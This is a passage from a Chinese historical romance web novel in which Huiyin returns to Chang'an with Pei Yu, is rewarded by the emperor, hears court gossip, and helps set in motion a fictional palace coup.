裴彧:“我说了会来接你们的,不会食言。驰厌他们也来了,过几天你就能见着他们了。” 方木连连点头,捂着眼擦泪。 说话间,宋景川也到了跟前,他警惕的望着裴彧,没有上前寒暄。 裴彧看了他一眼,只举得这人真的太眼熟了,他一时之间有些想不起到底在哪见过他。 宋景川冷淡的朝裴彧微微颚首,对他身前的徽音道:“阿姊,你可安好?” 徽音笑道:“我很好,颢灵也无事。” 裴彧心中一跳,他想起来了,他见过宋景川的画像,宋景川容貌和徽音有五分相似,他面容更加清俊一些,徽音则是更加柔美。 他脑中有些混乱,颢灵不是说没有舅舅吗,那现在这是什么情况? 颢灵听见阿父的声音,从徽音怀中探出头,开心的手舞足蹈,“阿父!阿父!” 宋景川终于露出笑意,驭马上前接过颢灵抱在怀中温柔的打量一阵,最后轻轻吻了一下颢灵的额头,柔声问她饿不饿。 裴彧:“……” 电光火石之间,他明白了一切。徽音根本就没有和其他人成婚,宋景川也没有死,颢灵是宋景川的女儿,她说的那些都是骗他的! 他低头狠狠将怀中揉进身体,恶狠狠道:“骗我很好玩吗?看我被骗得那么惨是不是很痛快?” 徽音眼尾上扬,抱臂轻哼,“很痛快,你待如何?” 裴彧沉沉吐出一口郁气,埋在徽音肩膀深吸一口气,有些后怕道:“我怎么舍得将你如何。我很庆幸,还好没来迟,你还在等我。” 徽音别过头,“别自作多情了,我才没有特意等你。” 裴彧没说话,他埋首在徽音肩上静默,徽音能感受到颈间的湿润,她抿抿唇,没在说些难听的话。 一行人赶在正午前回了营地,略微休整后就启程继续往南朝走,徽音将马车留给景川一家三口,自己骑着马走在旁边。方木和裴彧在她一左一右护着。 方木问裴彧,“少将军,你来的路上是不是被什么事耽搁了,怎么现在才到?” 徽音面上淡淡一副不敢兴趣的模样,耳尖已经竖起来,她听见裴彧道:“匈奴虽然退去了漠南,但其中还有好些需要交涉的地方,我奉旨去漠南去接睢阳殿下,耽误了些时日。” “那睢阳回去了吗?”徽音忍不住出声问。 裴彧:“没有,勒泰不放人。” 徽音有些气愤,“他都战败了,为何还扣着人不放!“ 裴彧给徽音解释着原因,“于勒他愿意和南朝交好,并向南朝进贡牛羊马匹,条件便是将睢阳留下。” 他看见徽音面露厌恶,又补上一句解释道:“我去漠南见了她一面,她过得挺好的,于勒对她也不错。” 徽音冷脸道:“你怎知她过得,说不定是在你面前强颜欢笑。” 裴彧看了眼方木,方木自觉的架马离开,将空间留给他们。 裴彧靠近徽音,拉住徽音的缰绳直接跃到她的身后,将人揽在怀里解释,“于勒为她在草原上建了一座宫殿供她居住,还找我要了几名南朝的厨子,说是睢阳吃不惯草原上的食物。” 徽音挣扎的动作停下来,狐疑的抬头,“你莫不是在诓我?” 裴彧将下巴搁在徽音的头上,手指摸摸她的耳垂,凑到徽音耳边细语,“我哪敢骗你,我还知道于勒除了睢阳再没有其他的女人,整个匈奴对睢阳也很尊敬,不敢冒犯。“ 他有些迟疑,“我单独见了睢阳,她气色很好,也表示愿意留在匈奴为两国重修于和出一分力,她过得应该不错。” 徽音没有接话,即使在匈奴的物质生活很好,可这些并不能弥补远离家乡,见不到亲朋好友的孤寂。 “徽音,我有好多话想和你说。”裴彧抱紧徽音,轻嗅她身上的香味。 他在徽音耳边絮絮叨叨的说了很多,说这年来的想念,深夜孤枕难眠的寂寞,以及见不到她的不安。 徽音窝在他宽阔暖和的胸膛上,耳边是裴彧碎碎的念叨,她不禁睡意来袭,懒懒的换了个方向,找了个舒服的位置,打断裴彧,“我困了,先睡会。“ 裴彧刚准备脱出口的情话被堵了回去,他讪讪的咽下话音,放慢马速,放松身体让她舒服的靠着。 等到徽音趴在他的肩膀上睡着后,她浅浅的鼻息打在裴彧颈间,令他的心不由得柔软安定下来,轻轻在徽音额上落下一吻。 他还有很多时间向徽音诉说他的心声,他们来日方长。 第79章 再回长安 没过两天, 落后一步的驰厌等人也和他们碰上了。裴彧在徽音的帮助下和大宛使臣顺利的交谈,双方队伍合并,一齐朝南朝的方向出发。 裴彧整日黏着徽音, 徽音上哪他上哪,绝不容许徽音离开他的视线半步。 徽音实在有些烦不胜烦, 索性躲去了马车陪伴诃诗。宋景川趁着裴彧和大宛使臣交谈时凑过来,问了一句心中憋了很久的话。 “阿姊,你和他会成亲吗?“ 徽音撑在车窗上,闻言看了看远处和旁人交谈的裴彧, 淡淡的收回视线,回道:“我暂时还没有这个想法。“ 宋景川和诃诗对视一眼, 面露忧虑。这裴彧看起来就不是个会善罢甘休的人, 他又位高权重,到时候逼迫阿姊怎么办? 徽音明白他们心中在想什么, 她想了想,安慰道:“你们无需担忧这些,他不会强迫我的。” 宋景川依旧忧虑重重,“那阿姊是怎么打算的,就和他这么拖下去吗?” 有那么一尊煞神在哪里杵着, 他还怎么替阿姊寻摸如意郎君。是的, 宋景川不喜裴彧, 也不属意他做自己的姐夫。他从前是很敬佩裴彧, 但从方木口中得知裴彧是如何对他阿姊时就万分不喜了。 更何况裴彧位高权重, 而他们家一落千丈, 身份的差距就注定了两人之后在一起的不平等,若是裴家欺负阿姊,他都没法为阿姊出头。 徽音:“不会拖太久, 放心吧。” 她不是一个喜欢拖泥带水的人,默认裴彧的靠近就已经是开始接受他了,至于和裴彧要不要成婚,这等得回去了再考虑,长安那一堆子破人破事,总得先解决掉再考虑其他。 入了关,车队的速度就快了起来,有裴彧这块金字招牌在,一路上畅通无阻,二月末就抵达了长安。 陛下接见了大宛使臣异常开心,得知是徽音找到贵山王促成的两国外交,让人把徽音也宣上了殿。 宣帝看着三年未见的徽音,不禁感慨:“朕实在没有想到,你居然有这么大的胆子一个人跑去了大宛。” 徽音跪在地上,偷偷看了眼裴彧,当初他们出关可是偷跑出去的。她恭敬回道:“妾身当时听闻弟弟流落去了大宛,心中焦急,这才违背陛下旨意偷溜出关,请陛下责罚。” 宣帝抚须冷哼:“要罚的可不止是你,还有罪魁祸首!” 裴彧顺着宣帝的话语起身跪坐徽音身边一同请罪,“当年皆是臣的过错,拐带了其他人。” 他含笑的看着徽音,还故意在其他人三个字上加深音量。 徽音莫名觉得有些丢脸,埋头不语。 宣帝看着下方跪着的一对小儿女,开怀的笑起来,“好了,朕同你们开玩笑的,请什么罪啊?你们都是朕的大功臣,来啊,赐坐。” 徽音跟着宫婢的指引朝用走去,还没迈出步子就被裴彧抓住手臂,拉着她坐在了一起。殿中其他人打量的目光纷纷投来,徽音奋力抽回手,狠狠瞪了裴彧一眼。 裴彧依旧一副厚脸皮的模样,无视其他人的目光,殷勤的和徽音布菜。 废话,面子哪有老婆重要,徽音带回来的那几车奇珍异宝比大宛使臣带来的都多,其中还有一车铁硝粉,锻造兵器时加入此物,能让刀具更加锋利坚实。 宣帝私下同他商量过,说要重赏徽音。今日过后,徽音名声就会再度大噪,届时盯着她的人又会多了起来。远的不说,那王寰可还未曾娶妻。他自然是要宣誓主权,将那些人死死拦住。 宣帝寒暄几句就进入了正题,大肆的夸赞了徽音一番,公布赏赐。徽音跪在殿中听旨,宣帝封她为开阳翁主,赐封地徐州开阳县,作为她的汤沐邑。 徽音微微一愣,她知道陛下会封赏她,顶多是一个翁主的虚名,没想到他居然如此大放,给了她一个千户食邑的县封地。她敛了敛心神,叩拜谢恩。 徽音等人暂时跟着大宛的使臣落脚在驿站中,回去的路上,裴彧装醉倒在她身上,徽音拿开他的手,严肃的问:“关于赏赐一事,是不是你跟陛下说了什么?” 裴彧睁开眼,里头没有半分醉意,他勾着徽音的一缕碎发在手中摆弄,哑着嗓子回:“此事真与我无关。南朝和匈奴刚刚安定下来,周边的小国都在观望,你说动大宛派来使臣,就相当于是给周边小国一个讯号,他们很快就会有动作了。你省去了鸿胪寺的许多外交,他赏你不是应该的吗?” 徽音承认他说的很有道理,但是说话归说话,他能不能不要靠她这么近?她躲开他凑上来的脸,嫌弃的皱皱鼻,“离我远点,有酒气。” 裴彧低头嗅嗅衣领,确实有点味道,他老实的坐回去,同时打开车窗透风。裴彧望着闭目养神的徽音心中一阵难耐,他真的很想她。 徽音闭着眼都能感觉道那不容忽视的目光,她无奈的睁开眼,朝裴彧勾勾手。那人毫不犹豫的凑上来,徽音靠过去,捧着裴彧的脸轻轻印下一吻。 裴彧不满着蜻蜓点水的一吻,握住徽音纤细的后颈,迫不及待地的深吻下去,他这个又急又重,很快就攻破了关卡,肆意掠夺。 马车停在驿站外已经好一会儿了,方木和驰厌自觉的离远些,装作什么都不知道。 裴彧抱着徽音长长吐出一口气,他摸摸徽音红润的脸颊,试探性问道:“这两日,我派人上门提亲,行吗?” 徽音睁开眼,看见裴彧脸紧张的看着她,唇瓣抿得紧紧的。徽音有些出神,她还是第一次在裴彧脸上看见这般不安的表情,她慢慢摸上裴彧的脸,半响没吭声。 裴彧声音有些颤抖的又问了一遍,徽音摇摇头,“这个不着急。” 裴彧难掩失落,他动了动嘴巴,什么都没说。只是埋首在徽音肩上,轻抚她的背脊。 徽音以为他会生气,质问她为什么,没料他什么都没问,平静后神色如常的送她回去。 她想了想,在裴彧离开时出深叫住他,认真的问:“你真的想娶我,想和我共度一生吗?你是喜欢我还是因为三年来得不到的执念在作祟?” 裴彧垂眼,“我的执念从来都不是娶你,我要的是你喜欢我,像在甘泉宫那样喜欢我。你不愿嫁我,那一定是我还做得不够好,我会努力改正从前那些臭毛病的,只要你别不理我。” 徽音直言道:“我不喜你母亲,也不想和她再过多的接触。” 裴彧:“阿母这三年身体不好,已经不怎么管事了,冬日去温泉庄子修养,夏日去避暑山庄,不怎么住在长安。阿衍也已经成婚,如今府内只住着他和弟妹。” 徽音倒是没想到裴夫人身体如此不好,她又道:“我善妒,你若娶我,这辈子只能守 着我一人过。” 裴彧低低笑起来,一扫方才的沉郁的之色,眼角眉梢都是笑意,“你确实醋劲大。” 徽音见他嘲笑自己,不免有些生气,抬脚就要离去。 裴彧连忙将人捉住,认错速度令人惊叹,“我的错,不该笑你。柳檀一事全是我的问题,不仅不避嫌还闹得满城风雨。” 他有些难以启齿道:“当时年轻气盛,想着叫你吃吃醋,没料到闹成了那个样子。” 徽音冷哼一声,别过脸去不看她,用行动表示生气。 裴彧跟着徽音饶圈圈,她往左看,他也跟着往左,她往右看,他也跟着往右。几轮下来,徽音率先憋不住了,她低声斥道:“天色不早了,你快走吧。” 裴彧握了握徽音的手掌,声音低沉:“我也是后来才知你离开长安前去看过我,得知柳檀对你说的那些话。她已经被他父亲嫁去了益州,这辈子也不会再回京了。” “过去那些流言我也悉数澄清,如今长安人人皆知我痴心于你,非你不可。” 他说这句话尾音拉长,还带着上扬的语调,一副求夸奖的模样。 徽音抽开手,微微点头表示自己知晓了,“当年之事我无意深究,至于现在,你我成婚还不是时候,至少要等天下大定。” 裴彧瞬间理解了徽音的意思,他喉结微动,确认道:“你的意思是你愿意嫁我了吗?” 徽音:“……你的重点不该是这个。” 裴彧却不管其他,他上前紧紧抱住徽音,内心狂喜,不住的重复道:“你愿意嫁我了,你原谅我了……” “咳咳。” 徽音余光看见景川一脸不爽的站在阶梯上,她连忙从裴彧的怀中挣脱出来,有些尬尴的拍拍衣裙上根本不存在的灰尘。 宋景川阴着脸瞪了眼裴彧,上前来拉徽音进院。 裴彧也知现在不是时候说这些,他朝徽音点点头,“明日我再来找你。” 关于徽音失踪三年后再度回到长安,还被封为的翁主的消息第二天传遍了整个京城,她刚刚找到一处落脚的地方带着景川和诃诗搬过去,贺佳莹就找上门了。 徽音起先还没认出来,这个珠圆玉润的夫人是谁,直到贺佳莹出声她才反应过来,惊讶的迎上去。 贺佳莹腹部隆起,整个人也比三年前要圆润许多,走路摇摇晃晃的,徽音上前扶住她,“你这是几个月了?” 贺佳莹骄傲的哼哼两声:“七个月了。” 徽音连忙扶着她坐下,往门外看了两眼,并没有看见郭廉的身影。 她问:“你身子这么重,郭廉怎么放心你一个人出门?” 贺佳莹:“我偷跑出来的,他不知道。” 徽音只能无奈叫人去郭府上传个话,免得郭家人着急上火。 她仔细端详了一下贺佳莹,发现她比三年前还多了几分娇气,看起来在郭家过得很好。 两人一如从前还在裴府的日子一样闲话叙旧,贺佳莹这三年一直待在长安,消息比以往还要灵通不少。贺佳莹拉着徽音讲了大半天的八卦,徽音倒了杯茶给她润润喉,问起几位故人。 她去大宛的事情只有裴彧和陛下知情,明面上的说法是她回了荆州,路上遇见匪徒失踪不见了。冯承得知这个消息后立刻就南下去寻她了,至今未归。 贺佳莹安慰道:“你如今名声大噪,他听见了肯定就会回来的。” 徽音叹道:“但愿如此。” 贺佳莹见她有些不开心,转而说起另一件事,她眉飞色舞道:”这件事情你肯定感兴趣,广陵一年前和镇南王世子和离了!” 三年前王子邵从代郡回来后,从徽音口中得知睢阳和亲一事当中有郑家的暗箱操作,打听后才知,原是广陵得知要嫁给镇南王世子后整日以泪洗面,抗拒婚事。 郑家为了不让她坏事,老老实实的嫁过去,只好满足她的心愿,设计让睢阳和亲,破坏睢阳和王子邵的婚事。 王子邵从徽音口中得知广陵喜欢他,明白是因为自己害了睢阳一声,他竟然不声不响的和广陵搅合在了一起,再设计让两人一事被撞破。惹得镇南王震怒,直接告到了陛下那里。 陛下无奈,只能让世子和广陵和离,好生补偿镇南王一番,再给广陵和王子邵赐婚。谁知赐婚前夕,王子邵却在青城山上出家了。 此事一出,广陵瞬间变成天大的笑话,她不信王子邵欺骗她,强逼着王子邵还俗娶她。可王子邵铁了心的要做道士,任谁劝了都不肯回头。 事情到了这地步,再闹下去就要出人命了,陛下只得出手干涉,匆匆将广陵嫁去了益州偏远之地。但他还是心疼女儿,下旨不许王子邵还俗,一辈子都不能离开青城山。 贺佳莹说完不禁唏嘘两声,王子邵可以曾经长安城里最受欢迎的小郎君,人人都以为他和睢阳会和和美美的过一辈子,谁料造化弄人,一个和亲草原再也回了不长安,一个出家做了道士终身不得还俗。 徽音楞在当场,没有想到王子邵居然会选择用自己的一生去报复广陵,她心中杂乱不堪,若是知道会王子邵如此,那当时在代郡的时候她绝不会跟王子邵说那些话。 睢阳和亲前唯一的心愿,便是希望王子邵以后都好好的,若她得知王子邵为她做到这个地步,不知道会如何伤心难过。 她问:“广陵嫁了谁?” 贺佳莹回道:“她名声烂成这样,长安外都传遍了,谁也不愿意娶这样一位祖宗供回去。只能嫁道益州那边去,好像是一个家道中落的氏族子弟。 徽音嗤笑一声,陛下还真是偏心眼,他就这么喜欢广陵,明知另一个小女儿因为她远嫁她乡,颠沛流离,连处罚都是这么不轻不痒的。说是嫁出长安,过几年郑妃一吹枕边风,再将人调回来,锦衣玉食的养着,粉饰太平。 她昨日同裴彧说天下未定,便是如此。裴彧打败立下卓越功勋,功高震住,徽音才刚刚回长安就听见了风言风语,宣帝要卸裴彧的兵权。 这几年里,宣帝对吴王和郑家越发器重了,反观裴彧,这三年都在边关大战,后方的朝堂班子早就被郑家渗透了。 徽音压下心底的忧虑,贺佳莹出来的时间不早,郭廉已经找来接她回家了。徽音听着贺佳莹抱怨郭廉管她太严,这不让吃那不让吃的,跟个管家婆一样。 徽音戳戳她的气鼓鼓的脸,笑道:“好了,他是关系你,你现在可是孕妇要忌嘴。” 贺佳莹依依不舍的拉着徽音的手,“我过两天再来找你玩。” “你别来了,等孩子出生再说。” 贺佳莹皱了皱鼻,勉强的点点头。 “对了,”她临上车前又回头道:“我忘记说了,苏静好她没有离开长安,苏文易死后,她入了奴籍,被人赎走做妾了。” 时隔三年徽音再听见这个名字,心底依旧掀起一片波澜,她有些颤声的问:“是谁家?” 贺佳莹回:“说来也巧,正是接替她父亲廷尉一职的谢清和。” 谢清和,徽音默念一遍,这个人她知道,可他不是徐侯的女婿吗? 送走贺佳莹后,徽音心中还是记挂苏静好一事,便派人去打听了一番。原以为这种贵族间的辛密探听不到什么,谁知打探消息的人很快就回来了,还带回来不少消息。 谢清和本是寒门子弟,年轻时拜到了徐侯的门下,得到徐侯独女徐令仪的青睐。徐侯是个武人,却异常喜爱文人,将唯一的爱女下嫁给谢清和后,不遗余力的帮助他在官场铺路,让其平步青云。 谢清和与徐令仪成婚十年,夫妻感情甚好,育有一子,如今刚满七岁。本该是人人赞叹的美满夫妻,一切却在去年急转而下。 三年前谢清和虽然将苏静好赎了回去,却没有纳她为妾的意思,而是好生照料,据说他曾在年少时曾得苏文易相助过,此番也是为了报恩。 去年徐令仪再度有孕,谢清和趁妻子孕期和苏静好搅到了一起,被徐令仪撞破,当场动了胎气孩子没保住,恰逢当时还有其他夫人上门看望徐令仪,不过一日,此事就传的长安人尽皆知。 女儿受了委屈,徐侯自然坐不住,强硬的让谢清和将苏静好送走,谢清和不愿意,翁婿俩大吵一架。 徐侯气不过,进宫找皇帝告状,参谢清和宠妾灭妻,私德不修。普通勋贵人家里,妻子孕期,都会给夫君备下一个通房丫头或妾室,这事本没有什么好理论的。 可关键在于,谢清和这些年背靠徐侯不知道捞了多少好处,在外人眼里,与入赘无疑,更何况徐令仪那胎也没有保住,伤了身子,此事他不占理。 陛下要给老臣面子,本想顺着徐侯的意思降职谢清和,却不料谢清和私下里已经攀上了郑家,郑妃和平阳侯一说情,陛下就高高拿起轻轻放下,只训斥了几声再无其他。 谢清和随后更是大张旗鼓纳了苏静好为妾,借此来打徐侯的脸。自从苏静好入府后,谢府就恩怨不断,两天一小吵,三天一大闹了,已经成为了全长安的饭后谈资。 这不,前两天刚刚闹了一通,徐令仪已经带着孩子回了徐侯府,要跟谢清和和离。 徽音想起三年前一面之缘的男人,看着斯文清秀风姿俊逸,没想到内里也是如此不堪。 不过,连谢清和居然也投靠了吴王阵营,攀上了郑家,看来长安的局势比她想象的还要严峻。 贺佳莹刚走没多久,另一个故人也上门来拜访了。王寰比三年前更加温润内敛,就像一颗打磨圆润的珍珠,让人一见就觉得和风细雨。 徽音笑道:“不知王郎君这三年可有高升?” 王寰无奈的笑笑的,叹息道:“三年来毫无建树,寸功未立,不似你一鸣惊人。” 徽音眉眼弯弯,难得开怀,故人依旧和从前一样。她请王寰入座,将景川也叫了出来,三人好生叙旧了一会。 才聊到一半,那连续三日忙得不见人影的匆匆赶来,面上一副好巧的神色,强硬的坐在了徽音身边。 裴彧朝王寰疏离的点点头,转头对徽音道:“忙了一日,才得了些空闲回来看你。” 徽音:“……”她不动声色的瞪了眼裴彧,警告他收敛点,要是敢向三年前那样挑衅人,她非把他打出去不可。 她倒了杯茶递给裴彧,裴彧挑挑眉,眨眼示意自己知道了。他很安静的坐在徽音身边,并不插入话题。只是他坐在那里,叫人难以忽视他的存在。 没过一会,气氛有些沉闷,王寰便开口告辞:“见你们姐弟无恙我也放心了,时候不早了,我先离开了。” 徽音和景川起身送王寰出门,路过裴彧身边时王寰脚步一顿,有些无奈的摇摇头,三年前他和徽音就注定没有可能,可况今时今日,裴彧与其防他,不如将心思放在别处。 王寰离开后,宋景川看不惯裴彧一副把这里当家的样子,但他和阿姊有事要商议,也不好赶人,他冷哼了声,索性眼不见为净,躲去了后院。 徽音回来时,发现裴彧倚在案桌上浅眠,连腰间的配剑都没来得及解开,眼下带着青黑。她轻手轻脚的坐过去,拍着裴彧的肩膀,“要不要去客房歇歇?” 裴彧困顿的睁开眼,摆手拒绝,“等会还要去一趟城外,不睡了。” “长安情况如何?” 裴彧自嘲笑笑,脸上难得出现了为难的表情,“这三年我不常在长安,现在情况很艰难,太子已经完全被架空了。” 徽音扫了他一眼:“情况这么严峻,那我先带着景川他们回荆州,避避风头?” 裴彧瞬间满血复活,狠狠的扑在徽音背上,大掌钳住徽音的下巴,吻着她的唇角含糊道:“想都不要想,不许你丢下我。” 徽音刚要张口就被他堵住,呼吸不畅。她拧着裴彧腰间让他退后,皱着眉道:“我跟你说正事,你不要满脑子想这个。” 裴彧摸摸徽音的脸颊,吐出一口郁气,“现在情势确实对我不利,长久下去太子必然被废,我的兵权过不了多久也要被卸。除非郑家和吴王昏了头,对陛下动手,我才有机会起兵勤王。” 明眼人都知道这不可能,陛下偏爱吴王人人皆知,吴王又不蠢,他只要继续等下去去,太子之位自然是他的。陛下身体康健,还能活不少时间,现在动手无异于自寻死路。 裴彧也很清楚这一点,眉间皱在一起,印出深深的褶皱。 徽音想了想,眨眼间就有了一个主意,“你起兵勤王有多少把握?” 裴彧:“五成。”他纵有通天本领也不敢说必赢,裴家军大部分主力都在边关,他能调动的兵不多,长安是京畿重地,兵力只多不少,何况他也不清楚,这三年里,郑家策反了多少长安守将。 “五成,那也够了。”徽音抬起眼,望着裴彧,轻声道:“如果有这个机会摆在你的眼前,你愿意做吗?” 裴彧沉默一瞬,点点头,他没有问徽音要用什么办法,要让郑家自乱阵脚率先出手,无非是陛下出事。他虽痛恨陛下包庇偏心郑家,但父亲自幼教导他忠君爱国,他做不到亲手弑君。 如今这个情形,他再不动手,等郑家上位,他裴氏满门以及追随他的那些兵将都将遭受灭顶之灾,走到今日,他身后肩负着无数条的性命,已经不是说退就能退的了。 徽音看着裴彧情绪低迷,主动开口打破沉默:“我可不是白白帮你的。” “你要什么?”裴彧笑笑。 徽音掰着手指开玩笑道:“当然是青史留名,权倾朝野,荣华富贵啊,谁人不爱这个?” 裴彧爱极她这副模样,忍不住倾身再徽音脸上狠狠的亲了一口,声音响亮,“行啊,事情成功后我就向太子为你请功,封你个女丞相当当,让你青史留名可好?” 徽音不说话了,她哪里是当丞相的料子。 第80章 拼死一搏还是引颈就戮…… 翌日一早, 皇后宣召。 时隔三年,徽音再度进宫,椒房殿不似以往明亮奢华, 整个大殿彷佛被阴云笼罩。 裴皇后比三年前看着要衰老许多,眼角的皱痕明显, 她见了徽音还是和从前一样亲和。 徽音鼻尖一酸,皇后待她从不拘泥于身份,宋家覆灭后,皇后是一个给予她温情的人。她跪在裴皇后身侧, 含泪道:“皇后可还安好?” 裴皇后轻抚徽音的发间,眼神彷佛透过徽音再看旁人, 她笑着扶徽音起身, 拉着徽音坐下,“我身在宫中衣食无忧, 自然安好,倒是你,在外颠簸三年,是不是受了很多苦?” 徽音忍住泪意摇摇头,闭眼伏在裴皇后膝上, 感受片刻的温情。 她不信裴皇后说的安好, 幼女远嫁不能见, 太子当不住事得靠她撑着, 这三年裴彧在外, 她一个孤立无援的守在深宫, 耗费心力维护前朝,怎么可能安好。 裴皇后摸摸拍拍徽音的手,面带歉意, “当初你和彧儿之间的事我都清楚了,确实是太子和彧儿的过错,委屈你了。这些时日我也想明白了,是予和太子拖累了彧儿,予想着,替你和彧儿赐婚,让彧儿带着你外放去代郡,远离长安,你觉得如何?” 徽音见裴皇后神情不似做假,她眉眼间全身疲倦,像是一株被偷走养分,逐渐凋零的牡丹花。 “皇后,您……” 裴皇后无奈的笑笑,眼角的皱纹明显,她长叹一声:“予是真的有些累了,长安的情形你也瞧见了,仅凭彧儿一人已经无力回天,太子并非明君,予不想让他为了我们母子罔送性命。他外放去代郡,好歹可以留住裴家,死后我也有颜面去见父母兄长了。” 徽音焦急道:“太子虽非明君,却心思淳厚,听得进劝阻。国家刚刚经历一场大战,正是需要修生养息之时,吴王草菅人命,郑氏外戚专权,若让他们上位才是百姓不幸。” “何况,郑家早就记恨裴彧,两党之间已经是不死不休的局面,即便裴彧退去边关,郑家也不会放过他。” “皇后是要拼死一搏还是引颈就戮?” 裴皇后听进去了这些话,她有些六神无主的遮住眼,“那该怎么办?” 徽音握住她的手掌,望着她的眼睛一字一句道:“为今之计,唯有置之死地而后生。” 裴皇后被她坚定的眼神唤醒神智,她咬咬牙,明白徽音今日进宫的目的为何。 只要陛下现在出事,太子便可名正言顺继位,吴王又岂会放弃唾手可得的皇位,必然会联和郑家谋反,届时裴彧再起兵平叛,便可名正言顺的将吴王和郑家一网打尽。 她胸膛中那颗沉寂已久的心再度翻腾起来,她真的要和儿子束手就擒吗?她在这深宫中苦熬二十五载,从青春妙龄到白发早生,就是为了等待这样一个结局吗? 不,她心有不甘。 裴皇后紧紧闭上眼,手掌用力握紧,精心养护好的指甲应声断裂,她再睁开眼时,没有了方才的退却,满是破釜沉舟的勇气。 她望着徽音笑道:“徽音,好孩子,多谢你了。我知道该怎么做了,你和彧儿等我消息便是。” 徽音回府时正遇见裴彧进宫,两人在宫道上对视一眼,彼此都明白了心中所想。竟然已经下定决心,为了避免夜长梦多,自然是要越快越好。 关键一环的裴皇后已经撑起来,剩下的事情就和徽音无关了,裴彧和裴皇后都不会将具体的计划透露给她,为的是他们谋事失败后,此事牵连不到徽音身上。 这些时日,裴彧也不会有空再来找她了,她只能等着消息。 徽音回府时,在家门口遇见了一个她以为此生都不会再遇见的人,苏静好。 她独身一人,穿着一身素衣,打扮简朴,不看那张脸,还以为是寻常人家的妇人。 她见了徽音下车,远远立在原地没有上前。 徽音走过去,苏静好也三年前并无太多的变化,只有一点,她三年前不论见谁都是一副温柔带笑的模样,如今确是面无表情,眼神古井无波。 两人面对面无言对视片刻,徽音率先打破沉默,“你是来看我的?” 苏静好嘲讽的弯了弯嘴角,“我是来看你死没死。” 徽音毫不留情的拆穿她,“满长安都知道我没死,不仅没死,还风风光光的回来了。” 苏静好冷哼一声,扔下一句话转身离去,“祸害遗千年。” 徽音叫住她,指着院子道:“景川也在,我没告诉他你做过的事情,你不进去见见他。” 苏静好浑身一僵,她之所以在这里守了大半天不进门,就是因为宋景川,她可以坦然的在徽音面前露出本性,却不敢在宋景川面前如此。 她希望自己在那个少年心里,一直都是一个温柔和善的阿姊,而不是一个面目可憎的毒妇。 她僵硬的回:“不了。” 徽音又问:“你和谢清和是怎么回事?” 苏静好有些屈辱的闭上眼,咬着牙道:“坊间都传遍了,你还问做什么,看我笑话吗?” 徽音:“不然呢,关心你?” 她对谢清和与苏静好之间的破事没有兴趣,谢清和已经成为吴王一党的重要角色,俗话说得好,知己知彼,才能百战百胜。 苏静好忍着气没吭声,徽音却从她面上看出了端倪,她熟悉苏静好,自然知道她这副模样是厌恶一个人至深的表情,传言里,谢清和为了她不惜和妻子岳父翻脸,为何苏静好会如此厌恶谢清和? 苏静好看着徽音,声音很轻,“他对我根本无意,只不过是拿我做筏子摆脱徐家。这些年,他被徐家赘婿之名压得死死,如今一朝得势,自然要翻身做主。他这个人,心思深沉手段狠辣。徐令仪掉的那个孩子是他故意为之。” 苏静好嘲讽道:“他连自己的孩子都能谋算掉,还有什么做不出来的,你让裴彧小心他。” 她最后深深看了眼徽音,转身离开。 徽音在心中反复揣测苏静好的表情和动作,她今日莫名其妙出现在这里,又留下莫名其妙的一句话。她心中有了猜测,难到是他们已经迫不及待,先用计将裴彧的兵权先卸了。 夜半时分,裴彧终于从内宫出来,轻车熟路的跳进徽音的院子,敲开她的窗户。徽音正准备歇下,听见熟悉的动作下床趿着鞋去开门。 裴彧一身夜行衣站在她眼前,浑身上下用黑布包裹的严严实实,只露出一双锐利的眼睛。她被这黑影吓了一跳,等裴彧出声才认出来人。 “是我。” 徽音有些嫌弃的问:“你这是什么打扮?” 裴彧拉下黑布口罩,露出俊朗的下半张脸,含笑道:“我今夜就要连夜出城,这几日你和家人不要外出,紧闭门窗。我将方木留下照应你们,万一出了事,你就赶紧带人跟方木走小道离开。” 徽音知道裴后会动手,却没有想到她动手会这么快。裴彧今夜就要出城集结兵力,那岂不是没几天就要发动政变了。 “时间是不是太紧了?”她有些紧张的问。 “事不宜迟,越拖越容易败露。” 徽音也明白这个道理,这也是她提出这个计策最重要的一点。毕竟,任谁也不会想到,刚刚打了胜仗的裴彧和裴皇后会选择在这个时候动手。 “那你一定要小心。”徽音郑重道。 裴彧抬手摸了摸徽音的脸,万分不舍,“你放心,我还没娶到你,不敢死。” 时候不早了,驰厌他们还在城门口等他出城,裴彧最后还是没克制住吻了吻徽音的头,承诺道:“我一定会回来的。” 他转身离开,却被徽音一把拉住,只见徽音挑起胸口的一狼牙吊坠取下示意他低下头,替他带上。 “这东西护我三年,现在我把他给你,一定要平安回来。” 裴彧垂眼看着胸前轻轻晃动的狼牙耳坠,心好像也随着这耳坠左右摇晃的动作一颤一颤的。 他看着月下如玉的徽音,紧紧握了下胸口的吊坠,忍不住伸手揽住的后颈,吻上她的朱唇。 两人唇齿交缠,未脱口出口的情愫在此刻肆意蔓延。裴彧艰难的松开徽音,强迫自己转身离开。 他有很多想要为之守护的东西,裴家的荣誉,太子和皇后的地位,过去为了这些东西,他甚至不惜伤害了心中最重要的人。而现在,他只想要和徽音有一个未来,想要和她孕育一个想颢灵那样令人怜爱的孩子,为此,他会付出所有的努力。 —— 为避免横生枝节,徽音这几日闭门不出,对上门来拜访她的人称病不见。 她本想叫景川带着诃诗和颢灵先行离开长安回荆州去,万一裴彧失败,郑家清扫时她躲不过去,景川等人却可以直接从荆州取道回大宛。 宋景川不愿,他同徽音开诚布公的坐下来谈了一场,将自己已经完全恢复记忆一事坦白的告诉徽音。 “阿姊,我什么都记起来了,这些年来,我仗着失去记忆活得肆意妄为。宋家的仇恨全部背在你身上,让你一个人承担。如今出了事,要我独自抛下你离开,我坐不到。” 徽音望着宋景川的泪眼的,心中不知道是欣慰多一些还是难受多一些,她潜意识里一直把宋景川当初那个心智尚未成熟的弟弟,总想着将他护在羽翼之下,不让他受世间侵扰。 可她忘记了,景川长大了,他有自己的想法,有自己的主见。 徽音:“罢了,你不愿意离开我不逼你,你得想清楚,一旦出事,因着我和裴彧的关系,郑家不会放过我,自然也不会放过你,还有颢灵她们。” 宋景川郑重道:“阿姊,我想清楚了,我们是一家人,一家人就要有富同享有难同当。” 徽音点点头,再不说让他们先行离开的话。 只是这日,她没想到裴夫人会上门来见她,一同来的还有裴衍和他的妻子上官素。 徽音再次见到裴夫人,她确实如裴彧所说,身体孱弱了很多。也一改当初喜鲜艳之色,一身素衣,发髻上钗环未见,手中还盘着一串紫檀木佛珠。从前浮躁的眉眼如今变得沉稳起来,周身气度宁静。 裴衍比三年前还稳重许多,面容轮廓已经张开,与裴彧有三分相似,他未上过战场,眉眼间比裴彧要少几分肃杀之气,更加清隽疏朗。 